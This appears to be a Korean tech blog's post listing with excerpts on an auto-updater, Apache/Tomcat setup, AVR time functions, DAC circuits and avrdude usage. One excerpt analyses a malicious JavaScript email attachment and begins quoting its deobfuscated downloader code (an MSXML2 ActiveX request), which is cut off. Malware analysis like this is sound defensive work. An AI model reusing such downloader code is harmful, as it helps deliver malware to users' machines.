본문 바로가기

분류 전체보기355

MFC로 만든 단일실행 자동 업데이터 소스! (많은 기능/편리) (32/64bit감지/TaskBar표시/개별파일업데이트/보안통신 등) JsAutoUpdater 특징 - HTTP 기반으로 별도 업데이터 서버 없이 웹호스팅만으로도 가능합니다. - 업데이트가 필요한 파일만 다운로드 해 효율적입니다. (파일별로 버전 설정) - HTTP뿐만 아니라 HTTPS도 지원합니다. - TaskBar 진행률 표시 기능으로 Windows 7 이상에서 Task Bar에 진행률이 표시됩니다. - 32/64bit에 따라 다른 작업 수행가능합니다. - 한글을 지원합니다. - 절대경로/상대경로를 지원합니다. - 디렉토리가 없을 시 서브디렉토리들을 자동으로 생성합니다. - 파일 다운로드 및 업데이트는 Worker Thread에서 작동하므로 UI멈춤이 없습니다. - 128KB 버퍼링 기능으로 메모리가 절약되며 대용량 파일도 다운로드 가능합니다. ( 제 서버와 컴퓨터 기.. 2016. 5. 12.
한국 메일로 유포되는 악성메일 분석 (JS/Obfus.S29) 얼마전부터 제 메일로 이상한 메일이 오고 있습니다.메일 송신자는 제 메일이고제목은 Scan4 / hi prnt 등의 제목이었습니다.그리고 이상한 zip파일이 첨부되어 있었습니다. 그 중 하나의 첨부파일 이름은SCAN004862814.zip압축을풀면 SCAN004862814.js 파일이 생성됩니다.해당 자바스크립트 파일을 실행하면 악성코드가 다운받아져서 실행됩니다. // 원본파일이름 : SCAN004862814.js// 원본파일md5 : 6576cd7c4ba8cb77ce3b23899139c27f// 진단명(Ahnlab) : JS/Obfus.S29 소스가 난독화 되어 있어 복잡하지만 분석하면 간단해집니다. // 실제 동작 소스 if(0){ var ohttp = new ActiveXObject("MSXML2... 2016. 4. 30.
Apache + mod_jk + Tomcat 연동 아... Apache 에다가 Tomcat연동은 처음이라서 이틀동한 해멨네요..ㅠㅠ Note 1. httpd.conf 에서의 Include 순서 주의! 저는 httpd.conf 맨 아래에 Include conf.d/*.conf 을 써놓고 conf.d안의 모든 *.conf파일을 인클루트 하도록 해놓습니다. 그리고 jk.conf에 jk관련 설정을 넣어놓고 httpd-vhosts.conf 에 가상호스트 설정을 넣어놓았습니다. 그런데 도저히 가상 호스트에 jk가 적용되지 않았었는데... 그 이유가 바로 "순서" 때문이었습니다. jk을 먼저 인클루트 해야 LoadModule을 하는데 순서가 반대가 되버린거죠... 그래서 지금은 10-jk.conf 50-vhosts.conf 이렇게 파일이름을 바꿔 인클루트되는 순서를.. 2016. 4. 11.
라이브러리 없이 mktime등 time함수 구현 AVR에서 필요해서 구현했습니다. 그래서 좀 type같은게 더럽(the love)습니다..하하... tm을 epoch time 으로 변환하는건 만들었는데... 반대 상황은 또 언제 만들지...하하..ㅠㅠ 10분만에 만들었네요...ㅎ 최신 버전은 https://github.com/jic5760/jstime 을 확인해 주세요~ 구현소스 /* * jstime.c * * Created: 2016-02-20 PM 11:54:05 (GMT+09:00) * Author: jichan (jic5760@naver.com) */ #include "jstime.h" /* MSVC(Visual Studio)에서는 inline가 작동하지 않기 때문 */ #ifdef _MSC_VER #define _JSTIME_INLINE st.. 2016. 2. 21.
DAC부분 제작중 PCM1794 DAC칩은 Differential Circuit 출력이 나오는데제가 가지고 있는 DAC보드는 Differential current signal을 하나의 Single-ended signal 으로 변환해 주는 부분이 2개(2ch)있습니다. 위 회로는 DAC보드의 일부분을 그린 것입니다. 저는 이것을 Balanced Output으로 바꿀려고 했습니다. 그런데 보통 Balanced Output회로를 보면(PCM1794 Datasheet의 Application Note도 그렇구...) 2개의 채널을 하나의 Balanced Output으로 출력합니다. 요롯게~ 그래서 Stereo 출력을 하려면 DAC칩이 2개가 필요합니다..왜 이렇게 구성한지 몰랐는데 HIFIPAX카페 회원님들의 답변으로 이렇게 하면.. 2016. 2. 12.
아두이노 부트로더 이용해서 펌웨어 업로드하기 저는 아두이노 라이브러리가 너무 편해서 안씁니다...ㅋㅋ AVR을 Native하게 만지던 사람은 아마 공감할..듯? 하지만 그런 저도 아두이노 보드와 부트로더는 사용한답니다. 편해서...ㅋㅋ그냥 땜질만 하면 작동하고 USB-Uart보드랑 아두이노 보드랑 연결하면 바로 업로드도 가능하니까요..ㅎ 이 파일은 avrdude을 아두이노부트로더도 사용 가능하게 만든건데인터넷 어딘가에서 다운받은거 같긴 한데 기억이 안나네요..ㅎ 사용법은 간단합니다. avrdude -carduino -pm328p -U flash:w:Firmware.hex -v -v -v -PCOM5 -b57600 굵은 색으로 칠한것만 본인에 환경에 맞게 바꾸시면 됩니다. m328p는 아두이노프로미니 (atmega328p) 설정이구요Firmware... 2016. 1. 30.
반응형